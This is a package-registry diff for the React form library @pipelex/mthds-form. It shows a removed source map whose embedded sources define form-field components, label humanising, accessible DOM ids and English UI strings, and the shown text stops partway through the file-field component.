@pipelex/mthds-form 0.10.0 → 0.11.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/react/utils.ts","../src/react/concept-pill.tsx","../src/react/field-presentation.tsx","../src/react/ui/switch.tsx","../src/react/field-dom-id.tsx","../src/react/boolean-field.tsx","../src/react/field-strings.tsx","../src/react/field-shell.tsx","../src/react/field-styles.ts","../src/react/date-field.tsx","../src/react/encoded-file.ts","../src/react/file-field.tsx","../src/react/ui/select.tsx","../src/react/ui/toggle.tsx","../src/react/ui/toggle-group.tsx","../src/react/enum-field.tsx","../src/react/number-field.tsx","../src/react/text-field.tsx","../src/react/optional-toggle.tsx","../src/react/object-field.tsx","../src/react/list-field.tsx","../src/react/unknown-field.tsx","../src/react/field-renderer.tsx","../src/react/result-env.tsx","../src/react/ui/tooltip.tsx","../src/react/html-preview.tsx","../src/react/markdown.tsx","../src/react/result-field.tsx","../src/react/download-stuff.ts","../src/react/stuff-viewer.tsx"],"names":["ImageIcon","Icon","jsx","React","createContext","use","jsxs","Label","useMemo","FileText","React3","React4","Check","Minus","Plus","useState","React5","useEffect","useRef","React6","Fragment","EyeOff","Eye","ImageOff","Loader2","ChevronDown","document","Copy","useCallback"],"mappings":";;;;;;;;;;;;;;;;;;;;;;AAIO,SAAS,MAAM,MAAA,EAAsB;AAC1C,EAAA,OAAO,OAAA,CAAQ,IAAA,CAAK,MAAM,CAAC,CAAA;AAC7B;ACUA,IAAM,aAAA,GAAsD;AAAA,EAC1D,IAAA,EAAM,IAAA;AAAA,EACN,IAAA,EAAM,YAAA;AAAA,EACN,QAAA,EAAU,QAAA;AAAA,EACV,KAAA,EAAOA,KAAA;AAAA,EACP,MAAA,EAAQ,IAAA;AAAA,EACR,OAAA,EAAS,UAAA;AAAA,EACT,MAAA,EAAQ,UAAA;AAAA,EACR,UAAA,EAAY,MAAA;AAAA,EACZ,IAAA,EAA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Ac,CAAA,mBAExBA,GAAAA,CAAC,WAAA,EAAA,EAAY,KAAA,EAAc,KAAA,EAAc,WAAS,IAAA,EAAC;AAAA,GAAA,EAEvD,CAAA;AAEJ","file":"chunk-G6BWZUGV.js","sourcesContent":["import { clsx, type ClassValue } from 'clsx';\nimport { twMerge } from 'tailwind-merge';\nimport { hasOwnProp } from '../core/own-property';\n\nexport function cn(...inputs: ClassValue[]) {\n return twMerge(clsx(inputs));\n}\n\n/**\n * Order-independent deep equality for JSON-shaped values (form data, inputs).\n * Objects compare by key set + value, arrays by index. Enough for comparing\n * two plain data snapshots; not a general structural-equality library (no\n * Map/Set/Date/cycle handling - none of which appear in the data it guards).\n */\nexport function isDeepEqual(a: unknown, b: unknown): boolean {\n if (a === b) return true;\n if (typeof a !== 'object' || typeof b !== 'object' || a === null || b === null) return false;\n if (Array.isArray(a) || Array.isArray(b)) {\n if (!Array.isArray(a) || !Array.isArray(b) || a.length !== b.length) return false;\n return a.every((item, i) => isDeepEqual(item, b[i]));\n }\n const aObj = a as Record<string, unknown>;\n const bObj = b as Record<string, unknown>;\n const aKeys = Object.keys(aObj);\n const bKeys = Object.keys(bObj);\n if (aKeys.length !== bKeys.length) return false;\n return aKeys.every((k) => hasOwnProp(bObj, k) && isDeepEqual(aObj[k], bObj[k]));\n}\n","'use client';\n\nimport {\n Braces,\n CalendarDays,\n FileText,\n Hash,\n Image as ImageIcon,\n List,\n ListChecks,\n ToggleLeft,\n Type,\n} from 'lucide-react';\nimport { cn } from './utils';\nimport type { ConceptCategory } from '../core';\n\nconst CATEGORY_ICON: Record<ConceptCategory, typeof Type> = {\n text: Type,\n date: CalendarDays,\n document: FileText,\n image: ImageIcon,\n number: Hash,\n boolean: ToggleLeft,\n choice: ListChecks,\n structured: Braces,\n list: List,\n};\n\ninterface ConceptPillProps {\n /** The concept identifier, e.g. `native.Document`, `demo.Invoice`. */\n conceptRef?: string;\n category: ConceptCategory;\n className?: string;\n}\n\n/**\n * The small monospace type tag shown beside an input's name. Mono + a line icon\n * (never a colored chip) keeps the technical Pipelex voice without spending a\n * chromatic accent - the concept *type* is information, not a status.\n */\nexport function ConceptPill({ conceptRef, category, className }: ConceptPillProps) {\n const Icon = CATEGORY_ICON[category];\n const label = conceptRef ?? category;\n return (\n <span\n className={cn(\n 'inline-flex items-center gap-1 font-mono text-[10.5px] leading-none text-muted-foreground',\n className,\n )}\n >\n <Icon className=\"h-3 w-3 shrink-0 opacity-70\" strokeWidth={1.75} aria-hidden />\n <span className=\"truncate\">{label}</span>\n </span>\n );\n}\n","'use client';\n\nimport { createContext, use, type ReactNode } from 'react';\n\n/**\n * How a field's LABEL chrome, and the enum values a person reads, should read.\n * What a control stores never changes.\n *\n * - `studio` (default): the field's name verbatim in mono, with its concept\n * pill. The name IS the identifier a builder writes in the `.mthds` file, so\n * showing it exactly - and typed - is the point. An enum value is shown as its\n * code for the same reason: it has to match the bundle and the JSON the\n * builder reads next.\n * - `app`: the field's name as a human question in sans, no concept pill. Inside\n * a method app, `full_name` and `native.Text` are implementation detail; the\n * person filling the form has never seen the method's source. An enum value\n * follows the label and reads as words.\n *\n * An enum value is the only value the two presentations show differently. A\n * number, a text, a date and every other value render the same in both.\n *\n * Deliberately a context rather than a prop or a `FieldEnv` flag: only the\n * components that own label chrome or an enum value's wording read it -\n * `FieldShell`, `ObjectField`, `BooleanField`, `ListField`, `EnumField` and the\n * result view - plus the file control, whose card hides a storage reference in\n * `app`, and threading a prop would have meant editing every field control and\n * both recursive containers.\n */\nexport type FieldPresentation = 'studio' | 'app';\n\nconst FieldPresentationContext = createContext<FieldPresentation>('studio');\n\nexport function FieldPresentationProvider({\n presentation,\n children,\n}: {\n presentation: FieldPresentation;\n children: ReactNode;\n}) {\n return <FieldPresentationContext value={presentation}>{children}</FieldPresentationContext>;\n}\n\nexport function useFieldPresentation(): FieldPresentation {\n return use(FieldPresentationContext);\n}\n\n/**\n * `full_name` → `Full name`. Only the first word is capitalised: these are\n * labels, not titles, and Title Case on every word reads as a form from 2009.\n * Takes IDENTIFIERS only - snake_case or kebab-case names, where a separator\n * is structure. An authored `title` never goes through here: it is already\n * human-facing, and its hyphens are spelling (`E-mail address`), not structure.\n */\nexport function humanizeFieldName(name: string): string {\n const words = name.replace(/[_-]+/g, ' ').trim();\n if (words === '') return name;\n return words.charAt(0).toUpperCase() + words.slice(1);\n}\n\n/**\n * An enum CODE as words: `unit_price_differs_from_po` → `Unit price differs\n * from po`, `HIGH_RISK` → `High risk`.\n *\n * It is `humanizeFieldName`, applied after an all-caps code of several words is\n * lowercased. The capitals of `HIGH_RISK` are a convention of the code, not an\n * emphasis its author meant, and \"HIGH RISK\" on a sentence-case page reads as\n * an alarm.\n *\n * A single all-caps token is left exactly as written: `USD`, `EUR`, `OK` and\n * `HIGH` hold no separator, and a lone capitalised word is far more often an\n * acronym, a unit or a currency than a shouted word, so lowercasing it would\n * misspell it (\"Usd\"). Only a code that is several words joined by `_` or `-`\n * is taken to be capitalised by convention.\n *\n * Acronyms inside a longer code are not guessed: `po` stays `po` where a reader\n * expects `PO`, just as a field name does. The cure for both is a label the\n * method's author writes, and that is a question for the standard rather than\n * for the kernel.\n *\n * Only a code is humanised. A value that is not an identifier is authored\n * words already, and its separators are spelling rather than structure, so it\n * is shown verbatim: `18-24`, `N/A` and `Very satisfied` do not start with a\n * letter or hold something other than letters, digits, `_` and `-`. That is\n * the line `humanizeFieldName` draws between an identifier and an authored\n * title.\n *\n * This words ONE code, with no knowledge of the enum it belongs to. The form's\n * options and the result view go one step further: when two options of one\n * enum would read the same, they show that enum's codes instead (see\n * `enumLabeler`).\n *\n * Only what a person READS changes. The value a form stores, the JSON view,\n * the copy control and the download all keep the code.\n */\nexport function humanizeEnumValue(code: string): string {\n if (!ENUM_CODE.test(code)) return code;\n const allCaps = code === code.toUpperCase() && code !== code.toLowerCase();\n if (!allCaps) return humanizeFieldName(code);\n return CODE_SEPARATOR.test(code) ? humanizeFieldName(code.toLowerCase()) : code;\n}\n\n/** An identifier: a letter, then letters, digits and `_` or `-` separators. */\nconst ENUM_CODE = /^\\p{L}[\\p{L}\\p{N}_-]*$/u;\n\n/** What joins the words of a code. A space never reaches it: no code holds one. */\nconst CODE_SEPARATOR = /[_-]/;\n\n/**\n * How ONE enum's values are shown: the rule the form's options and the result\n * view's value both go through, so a result and the form that produced it read\n * the same way. Built from the enum's options, it maps a value to what a person\n * reads.\n *\n * In `studio` every value is its code, because it has to match the bundle. In\n * `app` a declared option reads as words (`humanizeEnumValue`), except in two\n * cases, where the code is shown as written:\n *\n * - **Every option, when two of them would read the same.** `high_risk` and\n * `HIGH_RISK`, or `foo-bar` and `foo_bar`, are distinct codes that humanise\n * to one label, and a person offered two identical choices is choosing\n * blind. Wording the others while showing those two as codes would make one\n * enum read in two registers, so the whole enum falls back.\n * - **A value the enum does not declare.** It is the payload disagreeing with\n * its descriptor, and worded it could pass for an option it is not.\n */\nexport function enumLabeler(\n options: readonly string[],\n presentation: FieldPresentation,\n): (value: string) => string {\n if (presentation !== 'app') return asWritten;\n let labeler = APP_LABELERS.get(options);\n if (labeler === undefined) {\n labeler = wordsOrCodes(options);\n APP_LABELERS.set(options, labeler);\n }\n return labeler;\n}\n\nfunction asWritten(value: string): string {\n return value;\n}\n\n/**\n * The `app` labeler for one enum: its options in words, or its codes as\n * written when two DISTINCT options humanise to the same label. A repeated\n * option is not a collision: it is one code, and reads as one.\n */\nfunction wordsOrCodes(options: readonly string[]): (value: string) => string {\n const labels = new Map<string, string>();\n const owners = new Map<string, string>();\n for (const option of options) {\n const label = humanizeEnumValue(option);\n const owner = owners.get(label);\n if (owner !== undefined && owner !== option) return asWritten;\n owners.set(label, option);\n labels.set(option, label);\n }\n return (value) => labels.get(value) ?? value;\n}\n\n/**\n * One `app` labeler per options array, built on first use and kept: the result\n * view asks once for every cell of an enum column, and the answer depends on\n * the options alone.\n */\nconst APP_LABELERS = new WeakMap<readonly string[], (value: string) => string>();\n\n/**\n * The one label expression every chrome-owning component uses: an authored\n * `title` is authoritative and shown verbatim in both presentations; only the\n * identifier fallback is humanised in app mode. An empty title stays empty -\n * that is how a list row suppresses its per-row label.\n */\nexport function fieldLabel(\n title: string | undefined,\n name: string,\n presentation: FieldPresentation,\n): string {\n if (title !== undefined) return title;\n return presentation === 'app' ? humanizeFieldName(name) : name;\n}\n","import * as React from 'react';\nimport * as SwitchPrimitives from '@radix-ui/react-switch';\n\nimport { cn } from '../utils';\n\nconst Switch = React.forwardRef<\n React.ElementRef<typeof SwitchPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root>\n>(({ className, ...props }, ref) => (\n <SwitchPrimitives.Root\n className={cn(\n 'peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-input',\n className,\n )}\n {...props}\n ref={ref}\n >\n <SwitchPrimitives.Thumb\n className={cn(\n 'pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0',\n )}\n />\n </SwitchPrimitives.Root>\n));\nSwitch.displayName = SwitchPrimitives.Root.displayName;\n\nexport { Switch };\n","'use client';\n\nimport { createContext, use, useId, type ReactNode } from 'react';\n\n/**\n * The DOM id a control writes, derived from the field id rather than equal to it.\n *\n * `FieldRenderer`'s `id` is a value PATH - `ObjectField` composes children as\n * `parent.child`, `ListField` rows as `list.0`, and a host writes an upload back\n * with `setValueAtPath(values, id.split('.'), uploaded)`. See `upload-seam.md`;\n * that contract is unchanged and this module does not touch it.\n *\n * The same string used to be written verbatim as the control's `id` and its\n * `<label for>` target, where it must instead be document-UNIQUE, and nothing\n * made it so. Two forms mounted at once whose methods each declare an input\n * named `text` emitted two `<textarea id=\"text\">`; per HTML a `<label for>` binds\n * the first element in tree order, so the second form's label went dead and its\n * control fell down the accessible-name chain to its placeholder - a screen\n * reader announcing \"Write here…\" instead of the field's name.\n *\n * A path is not unique across forms and cannot be made so without breaking the\n * write-back, so the two roles are separated instead: the path stays the path,\n * and only the DOM write is namespaced.\n *\n * **No host change is required.** With no provider above it, each control mints\n * its own prefix from `useId`, which is unique per instance within a React\n * root and hydration-stable - so mounting the same method twice in one app is\n * correct by default. `useId` cannot see across roots, though: separate roots\n * left on React's default `identifierPrefix` may emit the same sequences, so a\n * host mounting forms in separate roots (islands, microfrontends) gives each\n * root its own `identifierPrefix` - or each root's provider a distinct prefix.\n * `FieldDomIdProvider` is for hosts that want the ids to be PREDICTABLE rather\n * than merely unique: a deterministic prefix makes `getElementById` and\n * deep-link focus work. Predictability moves the uniqueness obligation to the\n * host - a provider scopes ONE form, since everything under it shares its one\n * prefix, and an explicit prefix must be unique in the document. Passing\n * `prefix=\"\"` restores path-as-id exactly, which is the escape hatch for a\n * host that addressed the old ids and has not moved yet - and it reintroduces\n * the collision, so it is only safe for one form.\n */\nconst FieldDomIdContext = createContext<string | null>(null);\n\nexport function FieldDomIdProvider({\n prefix,\n children,\n}: {\n /**\n * Omit to mint one from `useId`; `''` writes the path unprefixed. An explicit\n * prefix must be unique in the document - one provider, one form.\n */\n prefix?: string;\n children: ReactNode;\n}) {\n const generated = useId();\n return <FieldDomIdContext value={prefix ?? generated}>{children}</FieldDomIdContext>;\n}\n\n/**\n * The DOM id for a field path - the ONE place a path becomes an attribute.\n *\n * Called once per control so the `<label for>` and the control's `id` are the\n * same string by construction: the pairing cannot drift, because there is only\n * one call. `useId` runs unconditionally (hooks must) and is simply unused when\n * a provider supplies the prefix.\n */\nexport function useFieldDomId(path: string): string {\n const scoped = use(FieldDomIdContext);\n const local = useId();\n const prefix = scoped ?? local;\n return prefix === '' ? path : `${prefix}-${path}`;\n}\n","'use client';\n\nimport { cn } from './utils';\nimport type { BooleanRunField } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { Switch } from './ui/switch';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface BooleanFieldProps {\n field: BooleanRunField;\n value: boolean | undefined;\n onChange: (value: boolean) => void;\n id: string;\n disabled?: boolean;\n}\n\n/**\n * A toggle. Unlike the other fields the label sits inline with the control on a\n * single hairline row - a boolean reads better as a switchable statement than as\n * a labelled box.\n */\nexport function BooleanField({ field, value, onChange, id, disabled }: BooleanFieldProps) {\n // Same label chrome switch as `FieldShell` - this control owns its own label\n // because it sits inline with the switch. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const domId = useFieldDomId(id);\n return (\n <div\n className={cn(\n 'flex items-center justify-between gap-4 rounded-md border border-border bg-input px-3.5 py-3',\n disabled && 'opacity-50',\n )}\n >\n <div className=\"min-w-0 space-y-1\">\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <label\n htmlFor={domId}\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {fieldLabel(field.title, field.name, presentation)}\n </label>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"boolean\" />}\n </div>\n {field.description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{field.description}</p>\n )}\n </div>\n <Switch\n id={domId}\n checked={value ?? false}\n onCheckedChange={onChange}\n disabled={disabled}\n className=\"shrink-0\"\n />\n </div>\n );\n}\n","'use client';\n\n/**\n * The controls' i18n seam. The field controls are kernel code - they cannot\n * import `next-intl` - so every user-visible string they render comes through\n * this typed contract, with English defaults baked in. A host app injects its\n * own values (a next-intl host bridges them in its own `field-strings-intl.tsx`)\n * by mounting `FieldStringsProvider` above the form; stories and tests run on\n * the defaults.\n *\n * Count-bearing messages are FUNCTIONS, not templates: the default English\n * pluralization lives here, and an injecting host applies its own locale's\n * rules (ICU plurals under next-intl, for instance).\n */\nimport { createContext, useContext, useMemo, type ReactNode } from 'react';\n\nexport interface FieldStrings {\n /** Badge on an optional field's header row. */\n optionalBadge: string;\n selectPlaceholder: string;\n typeValuePlaceholder: string;\n writeHerePlaceholder: string;\n /** Helper under the raw-JSON escape hatch. */\n jsonHint: string;\n decrease: string;\n increase: string;\n noItemsYet: string;\n addItem: string;\n removeItemAria: (index: number) => string;\n itemsCount: (count: number) => string;\n /** The same badge for a list the method gave an exact count (`Concept[N]`). */\n itemsCountOf: (count: number, total: number) => string;\n /** What a record's table cell says when none of its fields can name it. */\n fieldsCount: (count: number) => string;\n uploading: string;\n dropToUpload: string;\n dropOrBrowse: string;\n pasteUrlInstead: string;\n /**\n * The placeholder in the URL a person may paste instead of uploading. It names\n * the web's own scheme only: a host whose runner also takes its own storage\n * references can say so by overriding it, and no default shows an end user a\n * platform's storage scheme.\n */\n urlPlaceholder: string;\n /**\n * The accessible name of that URL input, given the field's label as the form\n * shows it. The field's label is bound to the file input, so without this the\n * placeholder was the only thing a screen reader announced here.\n *\n * The label is EMPTY inside a list row: the list drops each row's label, and\n * the row number it shows instead is a bare glyph tied to no control. So every\n * row's input currently carries the same generic name, and giving rows\n * distinct names is a separate piece of work on the list control.\n */\n fileUrlAria: (label: string) => string;\n /**\n * The title of an attached file's card when the value carries no filename.\n * True of a pasted link as well as of an upload, which \"Uploaded file\" was not.\n */\n uploadedFile: string;\n /**\n * What names a file carried INSIDE its own URL (a `data:` URL), where a\n * reference would otherwise be printed: its format and its decoded size. The\n * string itself is forty thousand characters of base64 and says nothing.\n */\n encodedFileSummary: (format: string, bytes: number) => string;\n preview: string;\n removeFileAria: string;\n previewUnavailablePdf: string;\n /**\n * What a result slot the run resolved as an absence SHOWS — a dash, not a\n * sentence. Beside forty values in a grid, \"not provided\" repeated is louder\n * than the data; a dash reads as the blank it is.\n */\n resultAbsent: string;\n /**\n * What that dash SAYS, to a screen reader.\n *\n * The two are separate because a glyph and a sentence are answers to different\n * questions. A table column of hyphens read aloud is \"hyphen, hyphen, hyphen\",\n * which is noise rather than information — so the dash is `aria-hidden` and\n * this rides beside it, visually hidden.\n */\n resultAbsentDescription: string;\n /**\n * Shown above the raw value when a result cannot be laid out because the\n * artifacts describing it are absent. It names the CAUSE — the descriptor,\n * not the data — because the value is right there underneath and a reader\n * who is not told why will assume the view is broken.\n */\n resultUndescribed: string;\n /** The control that opens a result table row to show the rest of the record. */\n toggleRowDetails: (index: number) => string;\n /** The (visually hidden) header of the column those controls sit in. */\n rowDetailsColumn: string;\n /** The control that puts a file's whole URL on the clipboard. */\n copyUrl: string;\n /** The copy control beside any text value, markdown or not. */\n copyText: string;\n /** The download control's label. */\n download: string;\n /** Announced while the files are being fetched. */\n downloading: string;\n /** The result panel's two views, and the control that copies the payload. */\n viewRendered: string;\n viewJson: string;\n copyJson: string;\n resultViewGroup: string;\n yes: string;\n no: string;\n /**\n * Shown when a picked file is not a format this slot accepts. Takes the\n * slot's own formats as the hint names them (`PNG, JPG`), after any narrowing\n * a host applied, so the message names what WOULD have worked - \"not\n * accepted\" on its own leaves the user guessing at the list they just failed.\n */\n unsupportedFileType: (formats: string) => string;\n /** The optional-entries disclosure (\"field\" inside a concept, \"input\" at top level). */\n hideOptionalFields: string;\n hideOptionalInputs: string;\n optionalFieldsCount: (count: number) => string;\n optionalInputsCount: (count: number) => string;\n}\n\n/** `512 bytes`, `36 KB`, `1.4 MB` — binary multiples, as a file manager counts them. */\nfunction formatBytes(bytes: number): string {\n if (bytes < 1024) return bytes === 1 ? '1 byte' : `${bytes} bytes`;\n if (bytes < 1024 * 1024) return `${Math.round(bytes / 1024)} KB`;\n return `${(bytes / (1024 * 1024)).toFixed(1)} MB`;\n}\n\nexport const DEFAULT_FIELD_STRINGS: FieldStrings = {\n optionalBadge: 'optional',\n selectPlaceholder: 'Select…',\n typeValuePlaceholder: 'Type a value…',\n writeHerePlaceholder: 'Write here…',\n jsonHint: 'Enter this value as raw JSON.',\n decrease: 'Decrease',\n increase: 'Increase',\n noItemsYet: 'No items yet',\n addItem: 'Add item',\n removeItemAria: (index) => `Remove item ${index}`,\n itemsCount: (count) => (count === 1 ? '1 item' : `${count} items`),\n itemsCountOf: (count, total) => `${count} of ${total} ${total === 1 ? 'item' : 'items'}`,\n fieldsCount: (count) => (count === 1 ? '1 field' : `${count} fields`),\n uploading: 'Uploading…',\n dropToUpload: 'Drop to upload',\n dropOrBrowse: 'Drop a file or click to browse',\n pasteUrlInstead: 'paste a URL instead',\n urlPlaceholder: 'https://…',\n fileUrlAria: (label) => (label ? `Link to the file for ${label}` : 'Link to the file'),\n uploadedFile: 'Attached file',\n encodedFileSummary: (format, bytes) => `${format} · ${formatBytes(bytes)}`,\n preview: 'Preview',\n removeFileAria: 'Remove file',\n previewUnavailablePdf: 'Preview unavailable - open to view.',\n // U+002D HYPHEN-MINUS, deliberately: not an en dash, not an em dash.\n resultAbsent: '-',\n resultAbsentDescription: 'Not provided',\n resultUndescribed: 'No output descriptor for this pipe — showing the raw value.',\n toggleRowDetails: (index) => `Show or hide the details of row ${index}`,\n rowDetailsColumn: 'Details',\n copyUrl: 'Copy the URL',\n copyText: 'Copy the text',\n download: 'Download',\n downloading: 'Downloading…',\n viewRendered: 'Result',\n viewJson: 'JSON',\n copyJson: 'Copy the JSON',\n resultViewGroup: 'Result view',\n yes: 'Yes',\n no: 'No',\n unsupportedFileType: (formats) =>\n `That file type is not supported. Accepted formats: ${formats}.`,\n hideOptionalFields: 'Hide optional fields',\n hideOptionalInputs: 'Hide optional inputs',\n optionalFieldsCount: (count) => (count === 1 ? '1 optional field' : `${count} optional fields`),\n optionalInputsCount: (count) => (count === 1 ? '1 optional input' : `${count} optional inputs`),\n};\n\nconst FieldStringsContext = createContext<FieldStrings>(DEFAULT_FIELD_STRINGS);\n\n/** Inject host-app strings over the English defaults for every control below. */\nexport function FieldStringsProvider({\n strings,\n children,\n}: {\n strings: Partial<FieldStrings>;\n children: ReactNode;\n}) {\n const merged = useMemo(() => ({ ...DEFAULT_FIELD_STRINGS, ...strings }), [strings]);\n return <FieldStringsContext.Provider value={merged}>{children}</FieldStringsContext.Provider>;\n}\n\n/** The strings the nearest provider supplies (English defaults when none does). */\nexport function useFieldStrings(): FieldStrings {\n return useContext(FieldStringsContext);\n}\n","'use client';\n\nimport type { ReactNode } from 'react';\nimport { cn } from './utils';\nimport type { ConceptCategory } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { useFieldStrings } from './field-strings';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\n\ninterface FieldShellProps {\n name: string;\n title?: string;\n conceptRef?: string;\n category: ConceptCategory;\n description?: string;\n required: boolean;\n /** Validation message; renders in danger text under the control. */\n error?: string;\n /** Links the rendered name to the control for screen readers. */\n htmlFor?: string;\n children: ReactNode;\n className?: string;\n}\n\n/**\n * The label / type / description / error chrome around a single input control.\n * Every field type composes this so the form reads as one consistent column -\n * the control itself is the only thing that varies.\n */\nexport function FieldShell({\n name,\n title,\n conceptRef,\n category,\n description,\n required,\n error,\n htmlFor,\n children,\n className,\n}: FieldShellProps) {\n const s = useFieldStrings();\n // Inside a method app the label is a question, not an identifier: sans,\n // humanised, and with no concept pill. Everywhere else it stays the exact\n // mono name a builder wrote. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const Label = htmlFor ? 'label' : 'div';\n // A list item passes title=\"\" - the row index already labels it, so we drop\n // the name and keep only the type pill to avoid a redundant header per row.\n const labelText = fieldLabel(title, name, presentation);\n const showLabel = labelText.trim() !== '';\n return (\n <div className={cn('space-y-2', className)}>\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n {showLabel && (\n <Label\n {...(htmlFor ? { htmlFor } : {})}\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {labelText}\n </Label>\n )}\n {!isApp && <ConceptPill conceptRef={conceptRef} category={category} />}\n {!required && (\n <span className=\"ml-auto font-mono text-[10px] uppercase tracking-wider text-muted-foreground\">\n {s.optionalBadge}\n </span>\n )}\n </div>\n {description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{description}</p>\n )}\n {/* A field in error is OUTLINED, not just annotated - inside an app the\n red caption alone is easy to miss on a tall form, and it is the only\n signal on controls whose `aria-invalid` sits on an element the user\n cannot see (the file dropzone's hidden input, most of all). Scoped to\n the app presentation so the studio's look is unchanged. */}\n {isApp && error ? (\n <div className=\"rounded-lg ring-1 ring-destructive/70 ring-offset-4 ring-offset-background\">\n {children}\n </div>\n ) : (\n children\n )}\n {error && (\n <p className=\"flex items-center gap-1 text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n )}\n </div>\n );\n}\n","/**\n * Shared control styling for the run form. One comfortable, theme-aware input\n * surface (the dedicated `--input` token, hairline border, accent focus ring)\n * so every field type reads as the same family - generous enough for touch\n * (≥44px tall) and never the cramped `text-xs` of the old playground panel.\n */\nimport { cn } from './utils';\n\nexport const fieldControlClass = cn(\n 'w-full rounded-md border border-border bg-input text-sm text-foreground',\n 'placeholder:text-muted-foreground/70 transition-colors',\n 'focus-visible:outline-hidden focus-visible:border-primary focus-visible:ring-1 focus-visible:ring-primary/40',\n 'disabled:cursor-not-allowed disabled:opacity-50',\n 'aria-invalid:border-destructive aria-invalid:ring-destructive/30',\n);\n","'use client';\n\nimport { cn } from './utils';\nimport type { DateRunField } from '../core';\nimport { toDateInputValue, toStoredDateValue } from '../core/date-format';\nimport { FieldShell } from './field-shell';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface DateFieldProps {\n field: DateRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * A calendar-date input. The control only asks for a day (no hand-typed\n * hours/seconds); for a `date-time` concept it stores midnight-UTC so the value\n * still satisfies the API's `date-time` format.\n */\nexport function DateField({ field, value, onChange, id, error, disabled }: DateFieldProps) {\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"date\"\n description={field.description}\n required={field.required}\n error={error}\n htmlFor={domId}\n >\n <input\n id={domId}\n type=\"date\"\n value={toDateInputValue(value)}\n disabled={disabled}\n aria-invalid={!!error}\n onChange={(e) => onChange(toStoredDateValue(e.target.value, field.datetime))}\n className={cn(fieldControlClass, 'h-11 px-3 font-mono tabular-nums')}\n />\n </FieldShell>\n );\n}\n","import { DOCUMENT_FORMATS, IMAGE_FORMATS } from '../core/file-formats';\nimport { readDataUrl } from '../core/native-content';\nimport type { FieldStrings } from './field-strings';\n\n/**\n * The line that names a file carried inside its own `data:` URL — `PDF · 36 KB`\n * — or `undefined` for a URL that only points at a file.\n *\n * Shared by the input control's chip and the result view's file reference,\n * because both used to print the URL itself: a host that encodes a picked file\n * in the browser (rather than uploading it first) puts the whole file there, and\n * the row's subtitle became `data:application/pdf;base64,JVBERi0xLjQK…`. A\n * reference that points somewhere is still worth printing; one that IS the\n * bytes is not.\n *\n * The format is named the way a dropzone's hint names it (`PDF`, `PNG`) when it\n * is one this package accepts, and by its media type otherwise.\n */\nexport function encodedFileSummary(url: string, strings: FieldStrings): string | undefined {\n const view = readDataUrl(url);\n if (!view) return undefined;\n const format =\n [...DOCUMENT_FORMATS, ...IMAGE_FORMATS].find((known) => known.mimeType === view.mediaType)\n ?.label ?? view.mediaType;\n return strings.encodedFileSummary(format, view.bytes);\n}\n","'use client';\n\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { useDropzone } from 'react-dropzone';\nimport { Eye, EyeOff, FileText, ImageOff, Link2, Loader2, Upload, X } from 'lucide-react';\nimport { cn } from './utils';\nimport type { FileRunField } from '../core';\n// Value imports come from the specific module, never the `../core` barrel - the\n// barrel reaches the gate and the gate reaches ajv. See docs/dependency-budget.md.\nimport {\n acceptLabel,\n acceptMap,\n formatOfFilename,\n isAcceptedFile,\n type FileFormat,\n} from '../core/file-formats';\nimport { viewableUrl } from '../core/native-content';\nimport { FieldShell } from './field-shell';\nimport { encodedFileSummary } from './encoded-file';\nimport { fieldLabel, useFieldPresentation, type FieldPresentation } from './field-presentation';\nimport { useFieldStrings, type FieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\n/** The serializable value of a file field. URL is what the runner sends. */\nexport interface FileValue {\n url?: string;\n filename?: string;\n}\n\ninterface FileFieldProps {\n field: FileRunField;\n value: FileValue | undefined;\n /** Called when a file is dropped/picked - the parent uploads and sets value. */\n onDropFile: (file: File) => void;\n /** Manual URL paste / clear flows through here too. */\n onChange: (value: FileValue | undefined) => void;\n id: string;\n /** Parent-driven async state. */\n uploading?: boolean;\n /** Resolve a `pipelex-storage://` URI to a viewable URL (stored-file preview). */\n resolveUrl?: (uri: string) => Promise<string | null>;\n error?: string;\n disabled?: boolean;\n}\n\nconst IMAGE_EXT_RE = /\\.(jpg|jpeg|png|gif|webp|bmp|svg|avif)(\\?|$)/i;\nconst PDF_EXT_RE = /\\.pdf(\\?|$)/i;\nconst DATA_URL_MIME_RE = /^data:([^;,]+)/i;\n/** `http:` or `https:` - a link the person can read, and may have pasted. */\nconst WEB_URL_RE = /^\\s*https?:\\/\\//i;\n/** Any URL scheme at the start of the value: `pipelex-storage:`, `data:`, `blob:`, `ftp:`… */\nconst URL_SCHEME_RE = 